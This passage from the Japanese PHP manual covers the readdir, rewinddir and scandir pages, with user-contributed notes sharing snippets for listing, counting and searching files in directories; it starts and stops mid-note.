this appears to be the only string which will evaluate to false.
Mark Simon 26-Sep-2019 01:05
PHP includes and alternative boolean operators whose precedence is below assignment. This means that an expression of the form

<?php
    if(($a = something()) && $a !== false) ... ;
?>

can be written as

<?php
    if($a = something() and $a !== false) ... ;
?>

In this case, the loop can be written as:

<?php
    while ($entry = readdir($handle) and $entry !== false) {
        //    etc
    }
?>
craig dot edwards at comech dot co dot uk 05-Jun-2018 01:16
Please be aware that readdir() and opendir() etc will return sorted directory listings automatically on some operating systems, whilst others it will not.

On later versions of windows, you can usually be guaranteed alphabetically sorted file listings from readdir(), and on Linux there is no such guarantee. If you require any particular sort order you should read the results to an array and use asort() or rsort() on it, or similar, to get the results into the order you need.
osamahussain897 at gmail dot com 27-Jan-2018 08:40
<?php
if ($handle = opendir('../')) {

    while($entry = readdir($handle)){
        $ent[] = $entry;
    }

    echo $ent[0]; // Access To Custom Directory or File;
    closedir($handle);
}
?>
sergio dot barrios at upr dot edu dot cu 29-Jul-2016 06:03
Find a file or folder within a directory. Say we want will loop n times by all subdirectories of a root directory and find a particular folder or file and know your address.

In my case I needed to find each existing file in a directory metadata.opf a Calibre library and take all the data for each document this, if we consider that this directory had 20,000 folders author is a task that is humanly impossible . This recursive algorithm achieves do my homework. I hope it will help you.

<?php

$root = '../Classes';
$search_parameter = "CachedObjectStorageFactory.php";

//if we call the function spider as spider($root);
//will show all the directory content including subdirectories

//if we call the function spider as spider('../Classes', 'Shared');
//and will show the address of the directory

spider($root, $search_parameter);
closedir();

function spider($dir,$fileName=""){

    $handle = opendir($dir);

    while($file= readdir($handle)){

       if($file != "." && $file != ".."){

          if($fileName=="")
             echo $dir."/".$file."<br>";
        else
           if($file == $fileName)
            echo $dir."/".$file."<br>";

        if(!is_file($dir."/".$file))
            spider($dir."/".$file,$fileName);

      }
   }

}

?>
garvitdelhi at gmail dot com 31-Aug-2014 06:10
this function recurrsively goes to a particular depth and stops after the depth is reached.

function read_path($root = '.', $depth = 1) {
        if($depth == 0) {
            return;
        }
        $last_letter  = $root[strlen($root)-1];
          $root  = ($last_letter == '\\' || $last_letter == '/') ? $root : $root.DIRECTORY_SEPARATOR;
          $files  = array('files'=>array(), 'dirs'=>array());
          if ($handle = opendir($root)) {
              while (false !== ($file = readdir($handle))) {
                if ($file == '.' || $file == '..') {
                      continue;
                }
                $file  = $root.$file;
                if (is_dir($file)) {
                      $directory_path = $file.DIRECTORY_SEPARATOR;
                    $files['dirs'][$directory_path]  = NULL;
                } elseif (is_file($file)) {
                    $files['files'][]  = $file;
                }
              }
              closedir($handle);
        }
          $done = [$root=>$files];
          foreach ($done[$root]['dirs'] as $key=>$value) {
              $done[$root]['dirs'][$key] = $this->read_path($key, $depth-1);
          }
          return $done[$root];
    }
stiles daht nathan ahat geemale 20-Jun-2014 05:54
I'm on 5.4.21 this function returns null after . and .. on an empty directory.  ZendServer for IBMi
Blizzz 02-Sep-2013 04:42
If dir_handle is not a proper resource, null will be returned instead of false.
jpittman2 at gmail dot com 18-Jul-2013 05:55
Warning when using readdir() on certain versions of CentOS on NFS-mounted directories:

This is not a bug with PHP's readdir, but a bug with certain versions of CentOS's readdir implementation.  According to Post #6213 in the CentOS Bugs forum, when using CentOS kernel versions 2.6.18-348 through 2.6.18-348.3.1, invoking readdir on an NFS-mounted directory may not return all the entries.  Since PHP's readdir() uses this library, the issue is manifest in PHP as well.

According to the post, upgrading to version 2.6.18-348.4.1.el5 should solve the issue, though I haven't tried it.

glob() does NOT seem to suffer from this same vulnerability.
avi dot megladon at gmail dot com 22-Jun-2012 12:51
loop through folders and sub folders with option to remove specific files.

<?php
function listFolderFiles($dir,$exclude){
    $ffs = scandir($dir);
    echo '<ul class="ulli">';
    foreach($ffs as $ff){
        if(is_array($exclude) and !in_array($ff,$exclude)){
            if($ff != '.' && $ff != '..'){
            if(!is_dir($dir.'/'.$ff)){
            echo '<li><a href="edit_page.php?path='.ltrim($dir.'/'.$ff,'./').'">'.$ff.'</a>';
            } else {
            echo '<li>'.$ff;
            }
            if(is_dir($dir.'/'.$ff)) listFolderFiles($dir.'/'.$ff,$exclude);
            echo '</li>';
            }
        }
    }
    echo '</ul>';
}

listFolderFiles('.',array('index.php','edit_page.php'));
?>
Mauro Alessandro Nonnis 17-Jul-2011 01:57
## List and Rename  all files on recursive directories with "recursive directory name" as template + filename
## Advice:  other files in the same directory will result in a warning
## scriptname : Recursive Dir_Renfiles_dirname-filename.php

<?php
if ($handle = opendir('.')) {
    while (false !== ($file = readdir($handle))) {
                if ($file != "." && $file != ".." && $file != "Recursive Dir_Renfiles_dirname-filename.php") {
                    echo "$file";
        echo "<br>";
                    $count = -1;
                     $handle2 = @opendir($file);
                        while (false !== ($file2 = @readdir($handle2))) {
                        echo "$file2";
                        if ($count <10 ){ @rename("$file/$file2", "$file/$file"."_$file2");}
                        else { @rename("$file/$file2", "$file/$file"."_$file2");}
                        echo "<br>";
                         $count = $count + 1;
                            }
             echo "<br>";
        }
    }
    closedir($handle);
}
?>
mrlemonade 09-Jul-2011 03:34
Get all files on recursive directories in single array.

<?php
/*
 * mrlemonade ~
 */

function getFilesFromDir($dir) {

  $files = array();
  if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            if(is_dir($dir.'/'.$file)) {
                $dir2 = $dir.'/'.$file;
                $files[] = getFilesFromDir($dir2);
            }
            else {
              $files[] = $dir.'/'.$file;
            }
        }
    }
    closedir($handle);
  }

  return array_flat($files);
}

function array_flat($array) {

  foreach($array as $a) {
    if(is_array($a)) {
      $tmp = array_merge($tmp, array_flat($a));
    }
    else {
      $tmp[] = $a;
    }
  }

  return $tmp;
}

// Usage
$dir = '/data';
$foo = getFilesFromDir($dir);

print_r($foo);
?>
stuart at horuskol dot net 02-May-2011 10:20
Looking through the examples, I can't see any that do a simple check on the value of the directory resource that opendir returns and is subsequently used by readdir.

If opendir returns false, and you simply pass this to the readdir call in the while loop, you will get an infinite loop.

A simple test helps prevent this:

<?php

$dir = opendir($path);
while ($dir && ($file = readdir($dir)) !== false) {
  // do stuff
}

?>
sreekumar [at] sreek [dot] in 12-Apr-2011 02:04
A function I created to non-recursively get the path of all files and folders including sub-directories of a given folder.
Though I have not tested it completely, it seems to be working.

<?php

/**
 * Finds path, relative to the given root folder, of all files and directories in the given directory and its sub-directories non recursively.
 * Will return an array of the form
 * array(
 *   'files' => [],
 *   'dirs'  => [],
 * )
 * @author sreekumar
 * @param string $root
 * @result array
 */
function read_all_files($root = '.'){
  $files  = array('files'=>array(), 'dirs'=>array());
  $directories  = array();
  $last_letter  = $root[strlen($root)-1];
  $root  = ($last_letter == '\\' || $last_letter == '/') ? $root : $root.DIRECTORY_SEPARATOR;

  $directories[]  = $root;

  while (sizeof($directories)) {
    $dir  = array_pop($directories);
    if ($handle = opendir($dir)) {
      while (false !== ($file = readdir($handle))) {
        if ($file == '.' || $file == '..') {
          continue;
        }
        $file  = $dir.$file;
        if (is_dir($file)) {
          $directory_path = $file.DIRECTORY_SEPARATOR;
          array_push($directories, $directory_path);
          $files['dirs'][]  = $directory_path;
        } elseif (is_file($file)) {
          $files['files'][]  = $file;
        }
      }
      closedir($handle);
    }
  }

  return $files;
}
?>
Qwerp 11-Nov-2010 10:42
Here's a handy function you can use to list the files in the directory you specify, their type (dir or file) and whether they are hidden.
You could modify it to do other things too.

<?php
function listDirs($where){
echo "<table border=\"1\"><tr><td><b>Name</b></td><td><b>Type</b></td>";
echo "<td><b>Invisible (Hidden)?</b></td></tr>";
    $itemHandler=opendir($where);
    $i=0;
    while(($item=readdir($itemHandler)) !== false){
        if(substr($item, 0, 1)!="."){
            if(is_dir($item)){
                echo "<tr><td>$item</td><td>Directory</td><td>No</td></tr>";
            }else{
                echo "<tr><td>$item</td><td>File</td><td>No</td></tr>";
            }
            $i++;
        }else{
            if(is_dir($item)){
                echo "<tr><td>$item</td><td>Directory</td><td>Yes</td></tr>";
            }else{
                echo "<tr><td>$item</td><td>File</td><td>Yes</td></tr>";
            }
            $i++;
        }
       }
echo "</table>";
}
?>
Then call it like this.
<?php
listDirs(DIR);
?>
Example:
<?php
listDirs("/tests/directorylisting");
?>

You get a table like this.

Name    Type    Invisible (Hidden)?
.    Directory    Yes
..    Directory    Yes
.DS_Store    File    Yes
.localized    File    Yes
index.php    File    No
OOOLS    Directory    No
QwerpWiki.php    File    No
frasq at frasq dot org 01-Nov-2010 07:46
A variation on listing all the files in a directory recursively. The code illustrates a basic technique : the use of an auxiliary function. It avoids building temporary lists which are merged on the way back. Note that the array which collects the information must be passed by reference.

<?php
function listdir($dir='.') {
    if (!is_dir($dir)) {
        return false;
    }

    $files = array();
    listdiraux($dir, $files);

    return $files;
}

function listdiraux($dir, &$files) {
    $handle = opendir($dir);
    while (($file = readdir($handle)) !== false) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        $filepath = $dir == '.' ? $file : $dir . '/' . $file;
        if (is_link($filepath))
            continue;
        if (is_file($filepath))
            $files[] = $filepath;
        else if (is_dir($filepath))
            listdiraux($filepath, $files);
    }
    closedir($handle);
}

$files = listdir('.');
sort($files, SORT_LOCALE_STRING);

foreach ($files as $f) {
    echo  $f, "\n";
}
?>
yasirlayth at live dot com 04-Jan-2010 05:36
this simple function will index the directories and sub-directories of a given dir

<?php
function get_dirs($dir){
    global $dirs;
    if (!isset($dirs)){$dirs = '';}
    if(substr($dir,-1) !== '\\'){$dir .= '\\';}
    if ($handle = opendir($dir)){
        while (false !== ($file = readdir($handle))){
            if (filetype($dir.$file) === 'dir' && $file != "." && $file != ".."){
                clearstatcache();
                $dirs .= $file . "\n";
                get_dirs($dir . $file);
            }
        }
        closedir($handle);
    }
    return $dirs;
}
?>
DaveRandom 17-May-2009 07:39
A very flexible function to recursively list all files in a directory with the option to perform a custom set of actions on those files and/or include extra information about them in the returned data.

 ----------

 SYNTAX:
   $array = process_dir ( $dir , $recursive = FALSE )
        $dir  (STRING)   =  Directory to process
  $recursive  (BOOLEAN)  =  [Optional] Recursive if set to TRUE

 RETURN VALUES:
  The function returns an indexed array, one entry for every file. Each entry is an associative array, containing the basic information 'filename' (name of file) and 'dirpath' (directory component of path to file), and any additional keys you configure. Returns FALSE on failure.

 ----------

  To allow you to configure another key, the entry for each file is stored in an array, "$entry" for each iteration. You can easily return any additional data for a given file using $entry['keyname'] = ... (Note that this data can be any variable type - string, bool, float, resource etc)

  There is a string variable "$path" available, which contains the full path of the current file, relative to the initial "$dir" supplied at function call. This data is also available in it's constituent parts, "$dir" and "$file". Actions for each file can be constructed on the basis of these variables. The variables "$list", "$handle" and "$recursive" should not be used within your code.

 ----------

 Simply insert you code into the sections indicated by the comments below and your away!

 The following example returns filename, filepath, and file modified time (in a human-readable string) for all items, filesize for all files but not directories, and a resource stream for all files with 'log' in the filename (but not *.log files).

<?php

  function process_dir($dir,$recursive = FALSE) {
    if (is_dir($dir)) {
      for ($list = array(),$handle = opendir($dir); (FALSE !== ($file = readdir($handle)));) {
        if (($file != '.' && $file != '..') && (file_exists($path = $dir.'/'.$file))) {
          if (is_dir($path) && ($recursive)) {
            $list = array_merge($list, process_dir($path, TRUE));
          } else {
            $entry = array('filename' => $file, 'dirpath' => $dir);

 //---------------------------------------------------------//
 //                     - SECTION 1 -                       //
 //          Actions to be performed on ALL ITEMS           //
 //-----------------    Begin Editable    ------------------//

  $entry['modtime'] = filemtime($path);

 //-----------------     End Editable     ------------------//
            do if (!is_dir($path)) {
 //---------------------------------------------------------//
 //                     - SECTION 2 -                       //
 //         Actions to be performed on FILES ONLY           //
 //-----------------    Begin Editable    ------------------//

  $entry['size'] = filesize($path);
  if (strstr(pathinfo($path,PATHINFO_BASENAME),'log')) {
    if (!$entry['handle'] = fopen($path,r)) $entry['handle'] = "FAIL";
  }

 //-----------------     End Editable     ------------------//
              break;
            } else {
 //---------------------------------------------------------//
 //                     - SECTION 3 -                       //
 //       Actions to be performed on DIRECTORIES ONLY       //
 //-----------------    Begin Editable    ------------------//

 //-----------------     End Editable     ------------------//
              break;
            } while (FALSE);
            $list[] = $entry;
          }
        }
      }
      closedir($handle);
      return $list;
    } else return FALSE;
  }

  $result = process_dir('C:/webserver/Apache2/httpdocs/processdir',TRUE);

 // Output each opened file and then close
  foreach ($result as $file) {
    if (is_resource($file['handle'])) {
        echo "\n\nFILE (" . $file['dirpath'].'/'.$file['filename'] . "):\n\n" . fread($file['handle'], filesize($file['dirpath'].'/'.$file['filename']));
        fclose($file['handle']);
    }
  }

?>
HeadRoom 08-May-2009 12:08
Thought I would include what I wrote to get a random image from a directory.

<?php
$image_dir = 'images';
$count = 0;
if ($handle = opendir($image_dir)) {
    $retval = array();
    while (false !== ($file = readdir($handle))) {
        if (($file <> ".") && ($file <> "..")) {
        $retval[$count] = $file;
        $count = $count + 1;
            }
    }

    closedir($handle);
}
shuffle($retval);
$current_image = $retval[0];
?>

[NOTE BY danbrown AT php DOT net: Contains a bugfix/typofix inspired by 'ffd8' on 19-JUN-09.]
hanan dot ali dot shaikh at gmail dot com 14-Mar-2009 11:37
This function is used to display random image i.e. at header position of a site. It reads the whole directory and then randomly print the image. I think it may be useful for someone.

<?php
if ($handle = opendir('images/')) {
   $dir_array = array();
    while (false !== ($file = readdir($handle))) {
        if($file!="." && $file!=".."){
            $dir_array[] = $file;
        }
    }
    echo $dir_array[rand(0,count($dir_array)-1)];
    closedir($handle);
}
?>
hotrungdungit at gmail dot com 18-Dec-2008 08:59
Below will return an array of file names and folders in directory

<?php
function ReadFolderDirectory($dir = "root_dir/here")
    {
        $listDir = array();
        if($handler = opendir($dir)) {
            while (($sub = readdir($handler)) !== FALSE) {
                if ($sub != "." && $sub != ".." && $sub != "Thumb.db") {
                    if(is_file($dir."/".$sub)) {
                        $listDir[] = $sub;
                    }elseif(is_dir($dir."/".$sub)){
                        $listDir[$sub] = $this->ReadFolderDirectory($dir."/".$sub);
                    }
                }
            }
            closedir($handler);
        }
        return $listDir;
    }
?>
Kim Christensen 05-May-2008 08:14
Handy little function that returns the number of files (not directories) that exists under a directory.
Choose if you want the function to recurse through sub-directories with the second parameter -
the default mode (false) is just to count the files directly under the supplied path.

<?php

  /**
   * Return the number of files that resides under a directory.
   *
   * @return integer
   * @param    string (required)   The directory you want to start in
   * @param    boolean (optional)  Recursive counting. Default to FALSE.
   * @param    integer (optional)  Initial value of file count
   */

  function num_files($dir, $recursive=false, $counter=0) {
    static $counter;
    if(is_dir($dir)) {
      if($dh = opendir($dir)) {
        while(($file = readdir($dh)) !== false) {
          if($file != "." && $file != "..") {
              $counter = (is_dir($dir."/".$file)) ? num_files($dir."/".$file, $recursive, $counter) : $counter+1;
          }
        }
        closedir($dh);
      }
    }
    return $counter;
  }

  // Usage:
  $nfiles = num_files("/home/kchr", true); // count all files that resides under /home/kchr, including subdirs
  $nfiles = num_files("/tmp"); // count the files directly under /tmp

?>
info at agentur-obermaier dot de 15-Apr-2008 04:13
This is a nice quick full dir read - sorry for my bad english ;)

<?php
function ReadDirs($dir,$em){
    if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != ".." && $file != "Thumb.db") {
            if(is_dir($dir.$file)){
                echo $em."&raquo; ".$file.'<br>';
                ReadDirs($dir.$file."/",$em."&nbsp;&nbsp;");
            }
        }
    }
    closedir($handle);
    }
}
?>
skysama at googles_email dot com 12-Sep-2007 10:23
Yet another view files by extension

/* NOTE:
 *  /a-d = do not include directories
 *  /b   = show files in bare mode ( no dates or filesize )
 */

<?php
$dir = '.\\img\\';    // reminder: escape your slashes
$filetype = "*.png";
$filelist = shell_exec( "dir {$dir}{$filetype} /a-d /b" );
$file_arr = explode( "\n", $filelist );
array_pop( $file_arr ); // last line is always blank
print_r( $file_arr );
?>
schursin at gmail[deleteme] dot com 27-May-2007 06:42
code:

<?php

        function permission($filename)
        {
            $perms = fileperms($filename);

            if     (($perms & 0xC000) == 0xC000) { $info = 's'; }
            elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; }
            elseif (($perms & 0x8000) == 0x8000) { $info = '-'; }
            elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; }
            elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; }
            elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; }
            elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; }
            else                                 { $info = 'u'; }

            // владелец
            $info .= (($perms & 0x0100) ? 'r' : '-');
            $info .= (($perms & 0x0080) ? 'w' : '-');
            $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));

            // группа
            $info .= (($perms & 0x0020) ? 'r' : '-');
            $info .= (($perms & 0x0010) ? 'w' : '-');
            $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));

            // все
            $info .= (($perms & 0x0004) ? 'r' : '-');
            $info .= (($perms & 0x0002) ? 'w' : '-');
            $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

            return $info;
        }

        function dir_list($dir)
        {
            if ($dir[strlen($dir)-1] != '/') $dir .= '/';

            if (!is_dir($dir)) return array();

            $dir_handle  = opendir($dir);
            $dir_objects = array();
            while ($object = readdir($dir_handle))
                if (!in_array($object, array('.','..')))
                {
                    $filename    = $dir . $object;
                    $file_object = array(
                                            'name' => $object,
                                            'size' => filesize($filename),
                                            'perm' => permission($filename),
                                            'type' => filetype($filename),
                                            'time' => date("d F Y H:i:s", filemtime($filename))
                                        );
                    $dir_objects[] = $file_object;
                }

            return $dir_objects;
        }

?>

call:

<?php

        print_r(dir_list('/path/to/you/dir/'));

?>

output sample:

Array
(
    [0] => Array
        (
            [name] => api
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 01:55:02
        )

    [1] => Array
        (
            [name] => classes
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 26 May 2007 00:56:44
        )

    [2] => Array
        (
            [name] => config.inc.php
            [size] => 143
            [perm] => -rw-rw-rw-
            [type] => file
            [time] => 26 May 2007 13:13:19
        )

    [3] => Array
        (
            [name] => index.php
            [size] => 131
            [perm] => -rw-rw-rw-
            [type] => file
            [time] => 26 May 2007 22:15:18
        )

    [4] => Array
        (
            [name] => modules
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 00:47:40
        )

    [5] => Array
        (
            [name] => temp
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 04:49:33
        )

)
(Qube#php@Efnet) 15-May-2007 08:36
<?php

// Sample function to recursively return all files within a directory.
// http://www.pgregg.com/projects/php/code/recursive_readdir.phps

Function listdir($start_dir='.') {

  $files = array();
  if (is_dir($start_dir)) {
    $fh = opendir($start_dir);
    while (($file = readdir($fh)) !== false) {
      # loop through the files, skipping . and .., and recursing if necessary
      if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
      $filepath = $start_dir . '/' . $file;
      if ( is_dir($filepath) )
        $files = array_merge($files, listdir($filepath));
      else
        array_push($files, $filepath);
    }
    closedir($fh);
  } else {
    # false if the function was called with an invalid non-directory argument
    $files = false;
  }

  return $files;

}

$files = listdir('.');
print_r($files);
?>
(Qube#php@Efnet) 14-May-2007 02:41
Here is an updated version of preg_find() [which has been linked from the glob() man page for years] - this function should provide most of what you want back from reading files, directories, different sorting methods, recursion, and perhaps most powerful of all the ability to pattern match with a PCRE regex.

You can get preg_find here: http://www.pgregg.com/projects/php/preg_find/preg_find.php.txt
or if you prefer colourful .phps format: http://www.pgregg.com/projects/php/preg_find/preg_find.phps
or scoll down to the end of this note.

I wrote several examples on how to use it on my blog at: http://www.pgregg.com/forums/viewtopic.php?tid=73

simple glob() type replacement:
$files = preg_find('/./', $dir);

recursive?
$files = preg_find('/./', $dir, PREG_FIND_RECURSIVE);

pattern match? find all .php files:
$files = preg_find('/\.php$/D', $dir, PREG_FIND_RECURSIVE);

sorted alphabetically?
$files = preg_find('/\.php$/D', $dir, PREG_FIND_RECURSIVE|PREG_FIND_SORTKEYS);

sorted in by filesize, in descending order?
$files = preg_find('/./', $dir,
  PREG_FIND_RECURSIVE|PREG_FIND_RETURNASSOC |PREG_FIND_SORTFILESIZE|PREG_FIND_SORTDESC);
$files=array_keys($files);

sorted by date modified?
$files = preg_find('/./', $dir,
  PREG_FIND_RECURSIVE|PREG_FIND_RETURNASSOC |PREG_FIND_SORTMODIFIED);
$files=array_keys($files);

Ok, the PHP note says my note is too long, so please click on one of the above links to get it.
phpwizard-at-pech-dot-cz 04-Jul-2002 01:22
It should work, but it'll be better to read section 13.1.3 Cache-control Mechanisms of RFC 2616 available at http://rfc.net/rfc2616.html before you start with confusing proxies on the way from you and the client.

Reading it is the best way to learn how proxies work, what should you do to modify cache-related headers of your documents and what you should never do again. :-)

And of course not reading RFCs is the best way to never learn how internet works and the best way to behave like Microsoft corp.

Have a nice day!
Jirka Pech


ディレクトリハンドルを元に戻す

  • ≪ readdir
  • scandir ≫
  • PHP Manual
  • ディレクトリ 関数
  • ディレクトリハンドルを元に戻す

rewinddir

(PHP 4, PHP 5, PHP 7, PHP 8)

rewinddir — ディレクトリハンドルを元に戻す

説明

rewinddir ( resource $dir_handle = ? ) : void

dir_handle で指定されたディレクトリの ストリームをディレクトリの先頭にリセットします。

パラメータ

dir_handle

opendir() が事前にオープンした ディレクトリハンドルリソース。 ディレクトリハンドルを指定しなかった場合は、 opendir() が最後にオープンしたものを使用します。

返り値

成功した場合に null を、失敗した場合に false を返します.

User Contributed Notes

ASchmidt at Anamera dot net 11-Jun-2018 07:59
It is crucial to note that rewinddir() does not simply start over at the beginning of the SAME directory list. Instead, this function first re-reads the directory - thus any file that were deleted (or inserted) since the original opendir() will be reflected after "rewinding".

In that respect, rewinddir() is equivalent to a closedir(), opendir() sequence, but without obtaining a new handle.
osamahussain897 at gmail dot com 27-Jan-2018 09:08
/* Source Code */

<?php
$dir = "/images/";

// Open a directory, and read its contents
if (is_dir($dir)){
  if ($dh = opendir($dir)){
    // List files in images directory
    while (($file = readdir($dh)) !== false){
      echo "filename:" . $file . "<br>";
    }
    rewinddir();
    // List once again files in images directory
    while (($file = readdir($dh)) !== false){
      echo "filename:" . $file . "<br>";
    }
    closedir($dh);
  }
}
?>

/* Result */

filename: cat.gif
filename: dog.gif
filename: horse.gif
filename: cat.gif
filename: dog.gif
filename: horse.gif


指定されたパスのファイルとディレクトリのリストを取得する

  • ≪ rewinddir
  • Fileinfo ≫
  • PHP Manual
  • ディレクトリ 関数
  • 指定されたパスのファイルとディレクトリのリストを取得する

scandir

(PHP 5, PHP 7, PHP 8)

scandir — 指定されたパスのファイルとディレクトリのリストを取得する

説明

scandir ( string $directory , int $sorting_order = SCANDIR_SORT_ASCENDING , resource $context = ? ) : array

directory 内のファイルおよびディレクトリを 配列で返します。

パラメータ

directory

調べるディレクトリ。

sorting_order

デフォルトでは、ソート順はアルファベット昇順です。 オプションの sorting_order に SCANDIR_SORT_DESCENDING を設定した場合、 ソート順はアルファベット降順になります。 SCANDIR_SORT_NONE を設定すると、 結果をソートせずに返します。

context

context パラメータの説明については、 マニュアルのストリーム を参照ください。

返り値

成功した場合にファイル名の配列、失敗した場合に false を返します。 directory がディレクトリではない場合は、 false を返し、E_WARNING レベルのエラーを 発行します。

例

例1 scandir() の簡単な例

<?php
$dir    = '/tmp';
$files1 = scandir($dir);
$files2 = scandir($dir, 1);

print_r($files1);
print_r($files2);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => .
    [1] => ..
    [2] => bar.php
    [3] => foo.txt
    [4] => somedir
)
Array
(
    [0] => somedir
    [1] => foo.txt
    [2] => bar.php
    [3] => ..
    [4] => .
)

注意

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

参考

  • opendir() - ディレクトリハンドルをオープンする
  • readdir() - ディレクトリハンドルからエントリを読み込む
  • glob() - パターンにマッチするパス名を探す
  • is_dir() - ファイルがディレクトリかどうかを調べる
  • sort() - 配列をソートする

User Contributed Notes

djacobson at usa dot rugby 03-Feb-2020 09:39
<?php
/**
  * Get rid of the dots, the occasional `.DS_Store` file and reindex the
  * resulting array all at once.
  *
  * @param string $path_to_directory The relative path to your target directory.
  *
  * @return array The reindexed array of files.
  */
function get_the_files( $path_to_directory ) {
    return array_slice( array_diff( scandir( $path_to_directory ), array( '..', '.', '.DS_Store' ) ), 0 );
}
?>
webmaster at gmail dot com 27-Oct-2019 08:17
easy way to list every item in a directory

<?php
$itemnum = 1;
$dir = 'C:/Path/To/Directory';
foreach(scandir($dir) as $item){
    if (!($item == '.')) {
        if (!($item == '..')) {
              echo($itemnum." = ".$item."<br>");
             $itemnum = ($itemnum + 1);
}}}
?>
Nerbert 29-Jul-2019 12:58
If you use array_diff() to eliminate "." and ".." you must use array_values() on the result because array_diff() will return an associative array, which may cause problems for a for loop beginning at 0.

$files = array_values(array_diff(scandir($directory), array('..', '.')));
artmanniako at gmail dot com 02-Mar-2019 11:28
How i solved problem with '.' and '..'

$x = scandir__DIR__; //any directory
foreach ($x as $key => $value) {
        if ('.' !== $value && '..' !== $value){
               echo $value;
   }
}
Simple and working
admin at kmoz000 dot free 21-Aug-2018 01:49
function ScaniDir($path){
  $ptd= opendir($path);
  while (( $ptdf=readdir($ptd))){
      $srca = $path.'/'.$ptdf;
     if (is_file($srca) and pathinfo($srca, PATHINFO_EXTENSION)=='pdf') {$files['src'][]=$srca;$files['name'][]=explode('.',$ptdf)[0];}

    }
return $files ;

 }
info at remark dot no 25-Feb-2018 07:08
Someone wrote that array_slice could be used to quickly remove directory entries "." and "..". However, "-" is a valid entry that would come before those, so array_slice would remove the wrong entries.
SPekary 03-Jun-2017 06:30
Unless you specify no sorting, file names are sorted in ASCII alphabetic order, meaning numbers first, then uppercase, then lowercase letters, even on operating systems whose file system ignores the case of file names when it does its own sorting.

For example, on Mac OS, the following files will appear in this order in the Finder, when your disk is formated using the standard file system:
1file.php
a.inc
B.txt
c.txt

However, scandir will produce an array in the following order:
1file.php
B.txt
a.inc
c.txt
simon dot riget at gmail dot com 02-Jun-2016 07:28
This is a simple and versatile function that returns an array tree of files, matching wildcards:

<?php
// List files in tree, matching wildcards * and ?
function tree($path){
  static $match;

  // Find the real directory part of the path, and set the match parameter
  $last=strrpos($path,"/");
  if(!is_dir($path)){
    $match=substr($path,$last);
    while(!is_dir($path=substr($path,0,$last)) && $last!==false)
      $last=strrpos($path,"/",-1);
  }
  if(empty($match)) $match="/*";
  if(!$path=realpath($path)) return;

  // List files
  foreach(glob($path.$match) as $file){
    $list[]=substr($file,strrpos($file,"/")+1);
  }

  // Process sub directories
  foreach(glob("$path/*", GLOB_ONLYDIR) as $dir){
    $list[substr($dir,strrpos($dir,"/",-1)+1)]=tree($dir);
  }

  return @$list;
}
?>
telefoontoestel59 at hotmail dot com 01-Jul-2015 02:12
I was looking for an easy way to get only files from a certain directory. I came up with the following line of code that will result in an array listing only files. the samen can be done for directories ofcourse.

<?php
$files = array_filter(scandir($directory), function($file) { return is_file($file); })
?>
Tom 24-Jan-2015 04:01
Just was curious to count files and lines in a project

<?php

  function DirLineCounter( $dir , $result = array('lines_html' => false, 'files_count' => false, 'lines_count' => false ), $complete_table = true )
  {

      $file_read = array( 'php', 'html', 'js', 'css' );
      $dir_ignore = array();

      $scan_result = scandir( $dir );

      foreach ( $scan_result as $key => $value ) {

          if ( !in_array( $value, array( '.', '..' ) ) ) {

              if ( is_dir( $dir . DIRECTORY_SEPARATOR . $value ) ) {

                  if ( in_array( $value, $dir_ignore ) ) {
                    continue;
                  }

                  $result = DirLineCounter( $dir . DIRECTORY_SEPARATOR . $value, $result, false );

              }
              else {

              $type = explode( '.', $value );
              $type = array_reverse( $type );
              if( !in_array( $type[0], $file_read ) ) {
                continue;
              }

              $lines = 0;
              $handle = fopen( $dir . DIRECTORY_SEPARATOR . $value, 'r' );

              while ( !feof( $handle ) ) {

                  if ( is_bool( $handle ) ) {
                      break;
                  }

                  $line = fgets( $handle );
                  $lines++;
              }

              fclose( $handle );

              $result['lines_html'][] = '<tr><td>' . $dir . '</td><td>' . $value . '</td><td>' . $lines . '</td></tr>';
              $result['lines_count'] = $result['lines_count'] + $lines;
              $result['files_count'] = $result['files_count'] + 1;

              }
          }
      }

      if ( $complete_table ) {

        $lines_html = implode('', $result['lines_html']) . '<tr><td></td><td style="border: 1px solid #222">Files Total: ' . $result['files_count'] . '</td><td style="border: 1px solid #222">Lines Total: ' . $result['lines_count'] . '</td></tr>';
        return '<table><tr><td style="width: 60%; background-color:#ddd;">Dir</td><td style="width: 30%; background-color:#ddd;">File</td><td style="width: 10%; background-color:#ddd;">Lines</td></tr>' . $lines_html . '</table>';

      }
      else {
        return $result;
      }

  }

  echo DirLineCounter( '.' );

?>
eep2004 at ukr dot net 07-Oct-2014 09:28
Fastest way to get a list of files without dots.
<?php
$files = array_slice(scandir('/path/to/directory/'), 2);
gambit_642 AT hotmailDOTcom 22-Jan-2014 02:04
Needed something that could return the contents of single or multiple directories, recursively or non-recursively,
for all files or specified file extensions that would be
accessible easily from any scope or script.

And I wanted to allow overloading cause sometimes I'm too lazy to pass all params.
<?php
class scanDir {
    static private $directories, $files, $ext_filter, $recursive;

// ----------------------------------------------------------------------------------------------
    // scan(dirpath::string|array, extensions::string|array, recursive::true|false)
    static public function scan(){
        // Initialize defaults
        self::$recursive = false;
